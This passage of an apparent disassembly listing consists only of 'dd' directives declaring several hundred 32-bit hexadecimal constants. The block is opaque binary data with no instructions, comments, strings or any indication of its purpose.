		dd 0E0F2FDCAh, 0C443F7FDh, 4083C129h, 802F503h,	81642A1h
		dd 109E47CDh, 0F43D845Dh, 46981244h, 60517BF9h,	0D1DA79E9h
		dd 85002A55h, 31349046h, 0FE25C8h, 0F1565227h, 0D8608E9Ah
		dd 0EDECE303h, 910CA1E7h, 7F7095BEh, 0CEF600D4h, 0B2F30E7Ah
		dd 0CC00E720h, 0ADAA8C7Dh, 7C8D107h, 0A077E893h, 0D603B037h
		dd 8400DAE6h, 2FEB38E5h, 1C829C73h, 80286420h, 5A9ED821h
		dd 61004704h, 0E01BE5F2h, 0A23658h, 8068DC2Eh, 98836221h
		dd 750F16B8h, 0A4DDFAD8h, 3480889Ch, 987A46AEh,	4F8F0693h
		dd 1944EE54h, 85BF5900h, 287A5E14h, 8890CBh, 0CFCDFFB4h
		dd 0F82F6F97h, 9B063300h, 0D6E71707h, 0B8E0A045h, 8BF9008Fh
		dd 0B5E80864h, 8C018AD7h, 99CB4EADh, 84200EAFh,	81A900CEh
		dd 5DE935FBh, 8C00B22Fh, 2D3FA23Dh, 17BBE51h, 5E4953D7h
		dd 0C86E4DC3h, 0D6007167h, 51C69F82h, 0DEC142h,	93840D6Ah
		dd 0BB06D9A3h, 49891B38h, 0A7220F20h, 6A00B70Bh, 35855A05h
		dd 55970003h, 0D85BD9B1h, 78C0DE82h, 7BF0CB91h,	6DFC0078h
		dd 4FD0233Eh, 7A00D8E0h, 156F10B0h, 4925DEB9h, 2C3E5056h
		dd 0DCACA780h, 2A760D5Bh, 0FF59F905h, 9407AD40h, 1490B2BBh
		dd 7E9D4Eh, 0D506F35h, 0D265E30Bh, 0D8449800h, 768C5D40h
		dd 0E46FC90h, 79279102h, 0C3CC003Eh, 9FD919F7h,	0C8000EB0h
		dd 0AC043EC9h, 162CE253h, 764355Bh, 0C0BDAFF6h,	0F3BCC18Bh
		dd 0D3006B76h, 96EB87D8h, 0F769E3h, 9E60B953h, 48440E57h
		dd 2302BB72h, 0D6AC2007h, 0CD234041h, 5F7632h, 36ABBE6Fh
		dd 5198CE30h, 9E499706h, 58689FEBh, 8A0C90C8h, 2A189624h
		dd 3D8871Fh, 0AAB79DC0h, 94DDFEh, 0C2DA8D76h, 3F4B669Ch
		dd 449A4D00h, 5F5A23Ah,	0C4310072h, 912A58C0h, 2C01485Ah
		dd 896C413Dh, 45206F76h, 9E720039h, 0C8AF8EE9h,	7500B8F2h
		dd 0FA3770BDh, 521BE7h,	0ECC2A06Bh, 0E1DE8673h,	91031779h
		dd 0F11ABBEBh, 0F809496h, 47B4E0h, 1F806DECh, 0E4AE337Bh
		dd 3A621E00h, 0DA73A83Ch, 6AE200F7h, 45CE5A1Bh,	2D1DA57Dh
		dd 834F7A37h, 0C03A6EBAh, 53382A22h, 0A21600B3h, 48722789h
		dd 43F259Eh, 0E3DD0799h, 6410ACF7h, 581759h, 3BBC1ADEh
		dd 0C8391EC6h, 89F0EC00h, 18FCE8A8h, 7D290781h,	0E04E83AAh
		dd 112360A1h, 1D0E2C0Eh, 90D18085h, 12B176E6h, 0B1CAAF0Dh
		dd 5D7760D4h, 0DD01F924h, 0E5A4003Ch, 0B32F9D73h, 6E103F39h
		dd 4BB41780h, 0A3539E6Fh, 0C2EEDD03h, 0E082DF57h, 41F645h
		dd 0E8F8E02h, 0FF096C11h, 0B26B9826h, 5D25305h,	0ED74D400h
		dd 19A340h, 2C9483DEh, 6DDB2B6Ch, 75A49900h, 38820E58h
		dd 1D4E4B6h, 60A034ECh,	200F6AF7h, 22005330h, 90C51329h
		dd 0ECEDCDAAh, 7C7612A5h, 0E0A4003Ah, 0CF9C248Bh, 0AD00D377h
		dd 0C9EFE627h, 290E4Fh,	4911CCD4h, 0D1F0A110h, 0DF6CA800h
		dd 0C035F6C2h, 0DEA500C8h, 526D60E0h, 161D6729h, 807B0B33h
		dd 4A026FEh, 3DA89E39h,	6982AEABh, 4D72F2A1h, 0D17CD880h
		dd 0A0070475h, 5BE14A2h, 77BCC2B0h, 0DFBF00B7h,	7F628D6h
		dd 1F0110E4h, 8F34634Ch, 8EC60AFAh, 464BC0FAh, 5C4359h
		dd 0BCCCB222h, 0F117ADFFh, 92AC8A1Ch, 0DE2C4942h, 35E0D553h
		dd 3500B9C0h, 0B3EB75B5h, 388CC7Eh, 892B4E8Eh, 0D0B3446Dh
		dd 0DF4B85E8h, 62C66100h, 90661468h, 0F7CE006Ah, 74673FB5h
		dd 9A05052Bh, 9D0FC979h, 9AED301h, 3FCC93D6h, 0E8840066h
		dd 948BEEB6h, 0DA0048D4h, 282B0F39h, 97F38Ch, 0F8A178D3h
		dd 76B30E3h, 0A0139h, 38B31762h, 245BCACEh, 785A4Dh, 45DDAE03h
		dd 0D1772B1Ch, 0D4C6160Bh, 0F4B70044h, 0AD84FDh, 0BCEF3D34h
		dd 22A88C41h, 0DF749E03h, 90F6945Ch, 0B6DBBAh, 60230672h
		dd 87B4ABB3h, 7AE8C500h, 0F0A28056h, 22C4009Ch,	0CBAC1A53h
		dd 0F200324Ah, 0C063FA7Ch, 3891BDF5h, 720270F9h, 4084CFEFh
		dd 0F40D9040h, 9B21B324h, 37081500h, 0C45ADFh, 57AA7014h
		dd 6867FF93h, 0F402BE07h, 7740A97Ah, 0F4C16EC0h, 6017FACh
		dd 8608E8A4h
		dd 0D22472D3h, 240490CEh, 44C89B7Eh, 0BEBD00D7h, 5BB15E0Eh
		dd 3C00CFF7h, 8A1E1569h, 237E53h, 1C6BFD52h, 9376357Ah
		dd 0AF1F8898h, 9480B920h, 683A9043h, 0F2080088h, 4C0AD67Dh
		dd 71004891h, 72B5CC1Fh, 3F60B0h, 39FDE1B8h, 0FFB7501Ch
		dd 0E084C0F1h, 769EF813h, 0C7947618h, 49C50CEDh, 8B105363h
		dd 9CA093Bh, 80617F9Dh,	0D52DD838h, 0EDA04C3h, 80254495h
		dd 1159DC4Ch, 943F20h, 0E39D1D6Ah, 0F74D8435h, 21E226FEh
		dd 547AEE00h, 728DFC52h, 40501674h, 5F2C1E24h, 0B895800Bh
		dd 7C6848CCh, 3B22A903h, 0A1EB13C1h, 4C200B11h,	5D7B008Dh
		dd 54F28189h, 61249539h, 5003AD1Ch, 0AF820319h,	4C567380h
		dd 10A000F4h, 154B5E94h, 0FE00579Ah, 1969379h, 0B02524DEh
		dd 97AA0148h, 0A6A12C4Eh, 0FEFF603Eh, 2940DA13h, 0C1D84800h
		dd 4641DFh, 0F2091AB4h,	1962FD8Eh, 8C9E5C04h, 88D01185h
		dd 4A020E6h, 6346943Ah,	9686809Dh, 0FD1D766Ch, 0E17C434h
		dd 643A7900h, 13634899h, 369D3h, 7F28AF18h, 700076FBh
		dd 2022DD91h, 0C6DD4F4h, 0D52F150Ch, 58005E38h,	0D6B35F99h
		dd 92B856h, 0E881DE7Eh,	67FA1EA3h, 0F9D28418h, 4B9350h
		dd 34E7CE12h, 7B255541h, 2B0256B8h, 3037A98Dh, 80AC4365h
		dd 0E781B84Ch, 4F4A448h, 33820207h, 0E8E080CDh,	0BE77B92Ch
		dd 0A8080A1Ch, 724E3480h, 98195EFBh, 7AA42AC4h,	955200C8h
		dd 4CA9EBE8h, 90376B38h, 11B0E041h, 0C004AC32h,	2E22DAC8h
		dd 8D07C3C9h, 0A36A4E51h, 6F0005Bh, 358E16h, 0C80E7860h
		dd 0DB52B771h, 2A12CD00h, 53F88590h, 0E7460386h, 784CC9ECh
		dd 5D25C6A0h, 2E365C00h, 84156321h, 5850968h, 9A0E47BAh
		dd 7E174EDEh, 0A3A6ACE0h, 23007844h, 69BB526h, 0ECB89CDh
		dd 31D228E7h, 76831AC0h, 0D9269118h, 3600D0ADh,	9DB18F49h
		dd 0C60302F3h, 7020EBAAh, 0D2C0F340h, 0D556DA18h, 3A13FC49h
		dd 4A0311CFh, 0F8D8ECE2h, 25FE1801h, 74B1E0C6h,	60A627D5h
		dd 7AEA00C0h, 95BA4304h, 6FD5AB00h, 94E6A84Bh, 0CB0A0015h
		dd 73574DEBh, 8F009119h, 79D992DEh, 98781FB7h, 0A5D80238h
		dd 8772DDE7h, 67F5D360h, 97617D00h, 3A2ED02Ah, 0EB7A0043h
		dd 870AD7DEh, 4B73DD77h, 78948400h, 0B3EFF176h,	0D67F03C8h
		dd 0EAB5C596h, 40880E4h, 1000ED2Dh, 0F050BC44h,	0A93EB3h
		dd 7AB261Eh, 0D3A5CFCCh, 9B70DC26h, 4E4D0300h, 0D7DD13h
		dd 0BD6ECBB2h, 0AF43ED62h, 387D900h, 0A8BC9A75h, 6FA40E54h
		dd 0C7E04B72h, 26371B2Eh, 5D2B820Eh, 4D512070h,	0EBC0FFh
		dd 3274AE9Fh, 24D14E56h, 0F8F54F1Dh, 88D8428Ah,	46073900h
		dd 369AFBh, 0E7687CA1h,	7D6148D5h, 66B3860Ch, 0E8118Eh
		dd 381CB08Dh, 2E01E212h, 2B0075E8h, 0A59E3788h,	6021F17Dh
		dd 0F4D595Bh, 384C47C6h, 0EC40017h, 1A48155Ah, 70DC985Bh
		dd 9FCA00C9h, 53969771h, 0BE007AABh, 0C88A8C1Fh, 2473321h
		dd 0FE72E73Ah, 64E0CE52h, 0B800E9A4h, 226CFCB9h, 7FACA9Fh
		dd 0AF15AD92h, 3C76D0A3h, 90043039h, 4B8E9197h,	0B013BA80h
		dd 9CAE4878h, 0E11012h,	4FC119F4h, 0C770741Bh, 0C6D77A00h
		dd 775CF352h, 0B8F0032h, 490544DDh, 0B1017BA9h,	8460C1D4h
		dd 0B6C0CF0Fh, 0DF7F0066h, 89D28AEh, 200037DBh,	0E50CBC4h
		dd 15DE2FEh, 0C6533A2Ah, 0F87FE3F3h, 75059252h,	27951B85h
		dd 0C8D0A80h, 367B4Eh, 414A31BDh, 66300234h, 0E4EB991Eh
		dd 0E74EAAC0h, 0FCC8AB1Ah, 73D748B1h, 9DFFAD04h, 0F1CC00Ah
		dd 0E7009B20h, 21B0555Ah, 6F32AAh, 5CFD8BDFh, 1F9ECF4Eh
		dd 0F702F113h, 0B81DCB13h, 37C65A80h, 26908878h, 802056CDh
		dd 204AFE4Ch, 9E00FB5Dh, 3DA27660h, 7A50D06Eh, 3BB6256Fh
		dd 21DC7080h, 480761EBh, 6FD57C9h, 39BADFD0h, 0A970018Bh
		dd 59DEF2C8h, 0FBF4C86Ah, 3C8CC005h, 8874AF5h, 79073FC1h
		dd 269E7460h, 16DCA3h, 0CE66323Bh, 0C4E68D5Ah, 4AC99B00h
		dd 3FB65F8Fh, 62AF4B4Dh, 502EBD4Ch, 4DCD3283h, 6D2DA000h
		dd 9F9184A0h, 5BB90078h, 0BF43C1BDh, 0FC00245Ah, 4F11EAC2h
		dd 0FFFB10Ch, 0CEB03AF1h, 4DAEBC20h, 82005D32h,	6152225Ch
		dd 4841FEF9h, 4F0B748Ah, 0A7008DE6h, 0E2B9B2C1h, 8E107201h
		dd 4EBBD589h, 92933EF0h, 67B1060Ch, 4890026Bh, 0D76FE100h
		dd 0F1AA0E47h, 28B60C81h, 1211246Eh, 5316C317h,	0D4779841h
		dd 0B0EFEC2Eh, 166FDF2h, 0BD83EFFBh, 80E7DDDEh,	0ED9EE519h
		dd 77602D3Dh, 28590353h, 0D2D0B247h, 12D7F390h,	0E100DDEAh
		dd 2474F50Eh, 2AA6C8h, 94396E62h, 0D49C1455h, 21C57700h
		dd 27F1962Bh, 348172Ch,	44E0009Bh, 0D36E39ACh, 4FABC100h
		dd 869E5228h, 0D887005Bh, 0FB429BA2h, 343B03B1h, 643F1496h
		dd 9C7F07F0h, 7B540BBAh, 248210E0h, 0E84C47h, 5EE877F9h
		dd 0C0B0DC3h, 80B9DF0Bh, 6B9A7CA5h, 0B0ED5B93h,	9F00811Dh
		dd 48639B99h, 738A5BCBh, 3C35017Ch, 94D2FEBDh, 99B9EC89h
		dd 254F000h, 3985F3F9h,	6BE400E5h, 87919BEh, 0C0001571h
		dd 0E04CDC73h, 4EECF4h,	9D755937h, 6A8EA407h, 9B732000h
		dd 7FC517EAh, 0FDE818h,	81F1ADFh, 8E434FD2h, 0A78A0900h
		dd 0D099B1DCh, 223C1C2Bh, 0D8604064h, 131BC1CBh, 7A75CE07h
		dd 0A1905E0Dh, 0E9A069h, 4517D75Fh, 284005FFh, 0D005977h
		dd 5AB5D213h, 3CEF7116h, 0EE610F60h, 60DE587Dh,	0ED00572Ah
		dd 647B5A17h, 0C0976092h, 11DA9148h, 1578EAC5h,	0C22AD060h
		dd 1D51E0F4h, 0CE326D61h, 0DCC0CBCEh, 278F8022h, 2D4FEA00h
		dd 0F41206E2h, 0F6AA0F90h, 0F3A029EDh, 0D2F56C8Ch, 8109AD39h
		dd 82797D10h, 0FCD8F422h, 83ED0FB3h, 95CE5D8Ch,	8811A98Ch
		dd 7568EB00h, 7C1846BCh, 0A22D3F78h, 0C4A52481h, 80F301AFh
		dd 8E0FEF28h, 1685C72h,	0E9425E66h, 0ECB187E5h,	1600B24Ch
		dd 5D4EEDDAh, 728C8A1Dh, 0D5D30078h, 77BAF469h,	9305788h
		dd 10BF11DDh, 79E274DAh, 1BDC0A66h, 3E8F801h, 5C5AE86h
		dd 6E02D6E8h, 3D11DCFDh, 0CEDA7700h, 54FB2E2Ah,	647881h
		dd 0A2B10890h, 1C85C0Dh, 0B7008A98h, 0E602D59Ah, 0C7881Fh
		dd 81A51283h, 0FFC58AEBh, 6C207B03h, 0F850E047h, 93CC86h
		dd 70C8BAADh, 0E517D605h, 3259F200h, 97CBC0FCh,	7AB5EEDDh
		dd 1F21C7C1h, 53CF505Fh, 0A200F454h, 83C4197Dh,	39737C51h
		dd 6E0FA85Ah, 9F8B1D98h, 0D40580FFh, 9ED4148h, 0B4BF4AA0h
		dd 8CC4F100h, 0A5002713h, 3EFF4E1Dh, 0A35218D6h, 7E1B98C3h
		dd 31CD3D8Fh, 3A2F9D00h, 92414990h, 0C6F73Dh, 5E3322CEh
		dd 461239h, 85513503h, 61E8B9FEh, 5C9E4000h, 0A02BDB0h
		dd 964F07E3h, 203541E5h, 11A481DBh, 0FAB47B00h,	570EA56Ah
		dd 8EF41F5Dh, 7C9F4088h, 65D80B3Dh, 6D541F2Ch, 7F845300h
		dd 66504Eh, 34D4FEAAh, 59B9805Bh, 141551Eh, 0F11300F9h
		dd 3DE2285Eh, 42600423h, 8014CF6Ch, 40ACD42Ah, 8C29650Ah
		dd 600EC0F2h, 0C7A1E005h, 413E58h, 43B18246h, 4588B7B4h
		dd 1DF4941Eh, 93A200FCh, 957456FDh, 59D40048h, 90D05EC8h
		dd 38008791h, 0F9415777h, 6984383h, 718BB4C6h, 10DF548Fh
		dd 8DAAF700h, 0C7778FFh, 0B4407FFCh, 15001938h,	3457AF4Ah
		dd 0C042EC70h, 7DF3DF30h, 0F500FB1Eh, 0AF460DFAh, 28A9388Ch
		dd 0A64D75h, 7C8685C6h,	0EDCE43DEh, 0D5F1B400h,	0A98FB129h
		dd 7DA0047h, 89236F8Dh
		dd 0EC24D21Ch, 0FD00CAC0h, 7B99B53Eh, 7E0798A3h, 3680394h
		dd 2B871D70h, 0AA5647F8h, 9B0D4D00h, 0ECB5B397h, 52FAAFh
		dd 0DCBF9810h, 407470E6h, 627D8800h, 0E5EAFB7Ah, 0AA9A00C0h
		dd 4D45333Ch, 6B1E40B9h, 47C0685Dh, 9B30F64Ah, 12FF095h
		dd 71836A92h, 0DC17D5C6h, 0DF032BE7h, 10BB0A60h, 90E80199h
		dd 6F882182h, 0A2B5C445h, 0E7CB0F00h, 773A482Ah, 0BC795Bh
		dd 0F2F12547h, 0B7A21517h, 4650EC03h, 98CB2613h, 2475993Dh
		dd 12995370h, 4D4E007Ch, 0BF5888Ah, 0ECEAAD02h,	40AEC0DAh
		dd 0EB15443h, 4E261FEEh, 0A5C4AFA0h, 0F0003C43h, 5F0E76FBh
		dd 76A211Bh, 3D5340E4h,	694A4187h, 5C95D42Bh, 2900647Fh
		dd 7D3E4E99h, 4CB5E06Eh, 0C600CD60h, 0ACA7D936h, 9600DE02h
		dd 0C3CE5377h, 720F928Ch, 7A720067h, 57EAE43Eh,	4400D28Fh
		dd 6A4C586Bh, 3D868D60h, 6500D0FDh, 85E1A3F1h, 3200B642h
		dd 43BBC1C0h, 0D18AF8h,	0A0CCFB23h, 9025FF51h, 0B030BA0Ch
		dd 204EA4h, 1B656254h, 7211E50Bh, 18A61900h, 22557704h
		dd 0B29A00BBh, 53ABADDCh, 2CE21D44h, 0E1B7EF0Ah, 8B1CC8DFh
		dd 5793040h, 1A5081h, 0A26B29BFh, 0EA17B6F7h, 1BCF2C00h
		dd 6EB2414Fh, 3C7D3Dh, 0E157C3CDh, 0DC8C0BA0h, 0AE5F8A00h
		dd 9958410Dh, 530A0392h, 45F01821h, 2C386000h, 867DB5F9h
		dd 0EBE10067h, 0CE339BB6h, 20C38757h, 93400AA9h, 4CA7C039h
		dd 24109852h, 1EB46B23h, 3E371E38h, 8A890070h, 766DEB7h
		dd 0B6006726h, 0AE3E2F5Fh, 141540D8h, 3CCB0B69h, 519DD607h
		dd 621480A7h, 6D0F4EF7h, 9D3039B4h, 0A0FBAF0Fh,	5103F844h
		dd 0B6471452h, 548D2065h, 0FA908588h, 0C02C010h, 0A5B51A2Ah
		dd 0DB0034A0h, 4562138Fh, 7D8200F4h, 0C0883C57h, 0C500EF2Ah
		dd 0CB436491h, 717325F3h, 0C8AD4CFDh, 68FEDB00h, 0A08A1BD1h
		dd 0B300547Fh, 0EF5FD8BAh, 645782h, 0E170350Ah,	56D79DA4h
		dd 0BF870D05h, 80AB485Ah, 13B3E60Ah, 4B114600h,	67DB27C5h
		dd 7254269Ch, 0AC2258h,	0A4C66313h, 7D22B56Bh, 0E08AE100h
		dd 0F6D94906h, 0C58B0A80h, 81C481D6h, 0B5C792C2h, 0B0408654h
		dd 30E99501h, 6538FCEBh, 6E00B9AAh, 0CD404FFEh,	0A01ECAF1h
		dd 4BD920h, 421774AEh, 467DB0F9h, 7361C00h, 0C928B175h
		dd 0BCAF2E6Ah, 0E3DD07BFh, 4E616CE1h, 26B0AE07h, 0D5432736h
		dd 95190599h, 0AD16B69h, 80C01CFCh, 0B1573494h,	4500223Dh
		dd 8A7E48E7h, 1F7EEBDh,	1F13ABC5h, 60C3B86Fh, 0EF4CAD0h
		dd 255EA1C0h, 0E04BC7EEh, 9BCB0039h, 0AFC80B9Eh, 0E0C46428h
		dd 8C942E12h, 4DC68C00h, 0EF4034h, 13FD420Bh, 0E40AC8C2h
		dd 0FC4E691Ah, 0C1041D10h, 802E5C7Dh, 3F920A10h, 0DA70E5h
		dd 6B14DBC4h, 0B43DB8CAh, 0D9B1B600h, 95559142h, 1C6074E4h
		dd 0CFFA38h, 823EB4F5h,	79001DC5h, 3AEDD432h, 544D22h
		dd 961E278Dh, 80205FCAh, 0E319240Bh, 0E012006Ch, 0A79FC8h
		dd 8AD4DE91h, 0CCCF7AA4h, 0E929C400h, 7FB2F550h, 0C6E442h
		dd 0AA8A194Bh, 85D057E7h, 0C00EE100h, 5905BC52h, 0CF1007DBh
		dd 0C196C879h, 0D01257DCh, 20007546h, 0AB5C7CC6h, 270AA5h
		dd 0F6508236h, 0C254F911h, 520040EEh, 43AB6D0Eh, 87B6E0h
		dd 0E7EEDB81h, 7C1CEFB3h, 0F9CE300h, 0D326FAC7h, 4A5400DEh
		dd 5F36CB88h, 0EE002A39h, 0A5573AB4h, 982068h, 7E9158A4h
		dd 16BF30D7h, 0D56A7200h, 1B151834h, 24C10FB2h,	85007B89h
		dd 93171244h, 0A1E7491Fh, 9BD7D401h, 20807D0Bh,	1D0F3351h
		dd 0AE00C5C0h, 159244E4h, 0A40A12Ah, 0BD8C0C63h, 0A09C00E4h
		dd 6FE49125h, 0EB880A09h, 7999801Dh, 769B95Eh, 0B4707E10h
		dd 3D6F2098h, 1D062308h, 788AE3B2h, 0E7DE0C11h,	5AD8899Dh
		dd 0C70232F2h, 0E8218B5Ch, 0A0516297h, 0BF769518h, 15AB0108h
		dd 4209B267h, 6583D0E0h, 6D267300h, 4E17DCF7h, 0BC1B0066h
		dd 0F18BAF35h, 3F00F361h, 0A6D9CCEEh, 18E348h, 62CFDE21h
		dd 0D278F9C0h, 28EC5C00h, 0FFABF0EBh, 0F45B3C74h, 99736480h
		dd 25FD700Bh, 55BE3600h, 5E6A8E62h, 0D893005Ah,	0ADDE666Ch
		dd 0EA1833D5h, 98C082FBh, 9D7894h, 48F6FC03h, 8E6910A8h
		dd 0C85B6707h, 893B85h,	94FA227Ch, 0B9B0C0B3h, 56034924h
		dd 0DD712609h, 1C7B0002h, 0CD9FBEh, 0EE0DAAB7h,	4F419803h
		dd 593A4671h, 390B0640h, 2150147Dh, 551FF8F7h, 0D826765Bh
		dd 1D0CE6h, 24DE4011h, 0D4614D47h, 0A814E31Fh, 12394B07h
		dd 959E19E0h, 2E770799h, 0E0FDBC49h, 487B7392h,	0A1C6C18h
		dd 122741h, 7E44D3D0h, 0AA039C75h, 4CE4CA00h, 98B65B47h
		dd 0F5DB071Fh, 435192E1h, 69B083ECh, 0FF03E001h, 0C495B07Dh
		dd 3FC2AF08h, 4AD7402Ah, 4EA20020h, 51141D34h, 0F2008D3Bh
		dd 699CAEFFh, 82B01Ch, 6C2BF99Fh, 0E704FA03h, 0C3D42F04h
		dd 10905572h, 8C77D0h, 7AA597CDh, 1F38519Bh, 8FF45300h
		dd 465B10E8h, 0B4231728h, 0A31E0026h, 0E935C952h, 4A533Eh
		dd 5AA1AFB9h, 597FDEh, 108B2731h, 261B9BC6h, 53F26A1Ch
		dd 9E6096CFh, 0FBF1EC80h, 585DEE3Dh, 0AD173551h, 0CEF70F06h
		dd 0C15B5260h, 2400FD20h, 0BBC8EE4Dh, 33B61Bh, 0D931C0BDh
		dd 0B8B90BF7h, 0A700C672h, 0DE2404C2h, 0BA3540h, 9528B36Eh
		dd 72B9A452h, 4D86F400h, 7B9EC21Dh, 34D00031h, 76C1EA35h
		dd 68027E37h, 0E3CB925Bh, 82D6C0AEh, 16DA0F79h,	75003BB1h
		dd 4C11198Eh, 3A3DFC00h, 0B2562A1Bh, 0B9858h, 3B6F34C2h
		dd 0B635C7EFh, 1E4FF800h, 82DE9CF0h, 53253044h,	59367338h
		dd 0BAE8AF00h, 74BB2EFDh, 325A1CF6h, 81F78095h,	434A914Ch
		dd 0DA048D1Ch, 7B55A700h, 77FE52Ah, 4250982Bh, 6122B18Bh
		dd 0DD2034A3h, 4DC00C02h, 40608965h, 0C81F3Ch, 1E665347h
		dd 73A4DE3Fh, 4F0E7A00h, 2CB91D38h, 2C98480Ah, 5DC66C00h
		dd 74ADE4BAh, 2544509h,	0D3DC005Eh, 3C98A063h, 68C98C1Eh
		dd 613DCC02h, 40C899CDh, 207487ACh, 0A6FB2A03h,	0C0C0C217h
		dd 729461C7h, 64D9019Eh, 0D2CD4BECh, 0DAE3FC4Ah, 0AB291B07h
		dd 51275DB2h, 0F77420E0h, 0F16E02F6h, 7DA80534h, 0EB1A3E3h
		dd 4922D49Fh, 0BC144Ch,	7EECE54h, 0ADF1C2h, 0E7125CF3h
		dd 0D9CD83FEh, 0C7CA900h, 7134C0FBh, 0F79B006Ah, 76C73BEh
		dd 500CF89h, 0C2A21EF0h, 816120h, 0BA7DC6AFh, 0B7F57495h
		dd 0B03D0600h, 0E31A6EC4h, 87ED01A5h, 5580C596h, 0DD22C0F6h
		dd 0FFA3E700h, 0C67E2309h, 0B4D83F6Eh, 2B80D73Dh, 0D150ECBBh
		dd 94008DCCh, 0BD212A63h, 18168DBh, 30D44C79h, 0EDE05EC5h
		dd 0F2AAFD07h, 0EB026440h, 191D5001h, 0B2B9E47Dh, 3E5178F0h
		dd 6B879C32h, 0C7031FA9h, 0E88089EFh, 0FA23745h, 2500D07Ah
		dd 0C8D8EE33h, 0F83B7FA6h, 291500C5h, 7B5D8E05h, 20007907h
		dd 95B9F44Dh, 393A01CBh, 0A8FB49BBh, 3F1BAC8h, 1071FE2Ah
		dd 83D0233Bh, 0B90FF8B3h, 6003E021h, 0E2E79AAh,	0D6F6B2h
		dd 61621E26h, 0F991BEDCh, 808FA43Ch, 7135E788h,	0D4FBAAh
		dd 95794876h, 83EFE003h, 9D470707h, 2FF01D99h, 18FAC5DEh
		dd 3078FE30h, 0C70756D8h, 0E9B03AB5h, 4F7CADC3h, 0A0AAB018h
		dd 1600CBE6h, 1C55D789h, 955080h, 0F27CB7F6h, 8E496B21h
		dd 0A03D0E4h, 0DB084D2h, 9227A0F4h, 549349B7h, 55CDF601h
		dd 303DA7BAh, 8F1C45DCh, 0DA400176h, 7DCA63EBh,	821C1243h
		dd 1031383h, 0ACA3D650h
		dd 6A5BF878h, 8723363Fh, 6530C01Ah, 7F062970h, 73E00F47h
		dd 10C0EAD9h, 0FC4FF2E5h, 79C0ABB0h, 0DDB02665h, 0A1561DEAh
		dd 7C8405DBh, 8910006Eh, 0F9AE03B5h, 98397303h,	0A0D67211h
		dd 0A0BDD5DEh, 369428h,	5E288F4Dh, 69B87D2Ah, 0A400DB70h
		dd 0E5667256h, 7497598h, 0E28BC75Fh, 5E30731Bh,	7C63D488h
		dd 0CC31F60Eh, 93C2C058h, 0D871C5h, 6B13FD16h, 994A146h
		dd 29017216h, 96278000h, 7D52E1h, 10D55E18h, 8F69A305h
		dd 0E63C8900h, 369094A5h, 77B40796h, 0F1B5472Fh, 4020951Fh
		dd 0A142ED6Ch, 673C66B8h, 4860800Fh, 0F478E673h, 0ACE9012Ch
		dd 534CEF5Dh, 153B606Eh, 1735700Fh, 128D606Dh, 3DB3E3Fh
		dd 0DEB3B60Ah, 0E2805926h, 0C298FBFCh, 8053FD38h, 6A4CF810h
		dd 3235DCBh, 0AA161A73h, 0DC0FA0Fh, 58001D61h, 0A5E2F8D4h
		dd 8DDA42h, 128B2935h, 0CDA706BFh, 0B12E5A07h, 22D7F2B4h
		dd 0D6889EB0h, 0ED0700F0h, 3DE63BEFh, 8C0044D9h, 5E963387h
		dd 3B7A6ABh, 0E55901BEh, 0F170FFF6h, 0DAA71201h, 157C4FB1h
		dd 283AD028h, 0B5528D94h, 8A5F6305h, 9630C1BCh,	8439800Ah
		dd 0DDDCED5h, 0E6470153h, 96CB5CEEh, 13FC43F7h,	288948Bh
		dd 5300F624h, 54AB0F90h, 683DBDh, 0E0FCCA72h, 63B99EFDh
		dd 2157FB14h, 6D990384h, 0AB2CBAF1h, 0EFFD9818h, 0C74B0050h
		dd 28942F98h, 0BB0E353Dh, 40F2661Fh, 0BDB2E091h, 0C88800D8h
		dd 86B664A2h, 600041F5h, 0A35C123Ah, 0CF2CA1h, 2D65F80Bh
		dd 8C2A3399h, 4148A500h, 67D26A9Eh, 0DD2B182Ch,	1C3F58ACh
		dd 604C9F00h, 0ED41F8E0h, 0B37829h, 346426DDh, 3F0663B0h
		dd 75CFAA01h, 88A98690h, 58C5044Fh, 43207AD0h, 0DB85BF04h
		dd 69D020ACh, 51E8F3Ch,	5A9ED3BFh, 0DF35102h, 5493007Bh
		dd 0AFF4497Dh, 6EC2E000h, 9ABEFC8Ch, 865E0003h,	0D20DE924h
		dd 88008AA7h, 6349C169h, 0F544304h, 0DC9FCDD0h,	2088680h
		dd 0D9003FC3h, 0ECD48F7Fh, 9073EB2Dh, 425A3A88h, 6749CD80h
		dd 3A907F52h, 1C8B9805h, 202CA0A2h, 72374655h, 9F501900h
		dd 0AC10770Fh, 306E7F93h, 1BE8C145h, 24E0E4B0h,	0AF849D0Ch
		dd 3FF31972h, 0FC7BF4h,	0A30CB78Fh, 4677383h, 0AE066A02h
		dd 8087F3B6h, 0D3929884h, 6964038Dh, 69450C2h, 0FFCDF5C0h
		dd 41ADFC0Ah, 0A038808h, 758D8CFh, 0D7D03060h, 73DD402Dh
		dd 0F402080Fh, 0ED51A4F3h, 0A8C8A3A0h, 0A9E000E4h, 849B87E5h
		dd 2200ABCFh, 0FE56F88Bh, 674831BDh, 0C7B3B144h, 0C60E80E3h
		dd 0CB6C376Ah, 0A8830679h, 0EC85DBE8h, 0D360CABBh, 0CB230034h
		dd 0A413685Ah, 9E00A8F8h, 810293DCh, 88409FDh, 5DD1C4E0h
		dd 8E1F4186h, 3B680099h, 630574AEh, 115CF309h, 0B6441E6Ah
		dd 88BAB747h, 9ACE4D81h, 36697C0h, 45CA4668h, 3B54838h
		dd 40CEB75Ch, 0D12A9C8h, 0E88BB80Ah, 3D40D0A0h,	0F23D0CDh
		dd 1E91D9A2h, 402383C9h, 8901F1A8h, 0D50C28DDh,	0A7D09B0Fh
		dd 0AA5900DBh, 51ECDA55h, 4100F0E5h, 80E8049Fh,	0C0D6A869h
		dd 83461239h, 0FF0081DDh, 8CF89290h, 1249BFECh,	96173E5h
		dd 5890EE78h, 39C3DEA8h, 0D8955BCEh, 0FE04240h,	0AEFD21E5h
		dd 1EB39DA0h, 3B00B9FAh, 0E8586F59h, 2402077Ah,	56095FBh
		dd 476BC651h, 55B649BCh, 0C3941DB1h, 3ECAC473h,	1849E90h
		dd 7DC1CF00h, 6B04E6F2h, 9BE30AB8h, 40F87354h, 0D74EA79Dh
		dd 26BF3800h, 380EC65h,	70130255h, 82560C40h, 5CA9C449h
		dd 1D009FF8h, 253AEEDAh, 3D790DEFh, 921F7097h, 0E8B3947Eh
		dd 613034C0h, 4801162Dh, 5559496Ch, 7C24F1D3h, 0E447B8C8h
		dd 27071462h, 7080CCC9h, 9C4BB0Dh, 159921Eh, 0D92777C0h
		dd 39AB0Eh, 6D7A02B3h, 0F34928D8h, 558C2F00h, 0E92F99Eh
		dd 13A7019Ch, 0F159302Ah, 0FEE66020h, 395DB000h, 5EE7CBCDh
